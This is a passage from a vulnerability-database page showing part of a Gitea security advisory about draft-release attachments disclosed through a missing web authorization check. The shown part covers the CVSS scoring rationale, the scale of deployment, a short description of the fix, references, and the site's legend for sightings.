entry | ~5-line authz check added at handler entry |\n| Severity assigned by upstream | Medium | **Should be Medium (5.9) by direct precedent** |\n\nIf CVE-2026-27660 was accepted as a Medium-severity security advisory worth a dedicated PR, an identical bug in the web mirror of the same data is also Medium-severity. The maintainer cannot consistently rate this lower without retroactively downgrading their own previous fix.\n\n**CVSS 3.1:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` = **5.9 / Medium**\n\n- `AV:N`: reachable over the network.\n- `AC:H`: attacker must obtain the UUID via a leak channel (same prerequisite class as the upstream CVE).\n- `PR:N`: no authentication required (anonymous works).\n- `UI:N`: no user interaction required.\n- `S:U`: scope unchanged (still bounded to Gitea\u0027s auth boundary; the draft release was supposed to be inside that boundary but isn\u0027t).\n- `C:H`: full confidentiality breach of the attachment contents.\n- `I:N` / `A:N`: read-only.\n\n**Out of scope:** brute-forcing the UUID is infeasible (122 bits of UUIDv4 entropy). This is a confidentiality-loss bug, not an integrity or availability bug.\n\n**Deployment scale:** Gitea is a top-three self-hosted forge (~30 k+ public Internet-reachable instances per Shodan, plus very large numbers of internal corporate deployments and Codeberg / Forgejo derivatives that inherit the same code). The bug is present in the default configuration; no operator action is required to make a deployment vulnerable.\n\n**Fix complexity:** trivial. Add a `release.IsDraft \u0026\u0026 !perm.CanWrite(unit.TypeReleases)` check in `ServeAttachment` (single function, ~5 lines added). Patch is provided in the Details section. No data migration, no UX change, no breaking-API change.",
  "id": "GHSA-q9pg-jj6x-j9p6",
  "modified": "2026-07-21T20:19:25Z",
  "published": "2026-07-21T20:19:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-q9pg-jj6x-j9p6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/ab10e37acf7fabf7829a485cc3e13d118638a856"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f7fd51022495737cf960b8c4053a27d69148f664"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: draft release attachment disclosure via missing web authorization"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-58432 (GCVE-0-2026-58432)

GHSA-Q9PG-JJ6X-J9P6

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature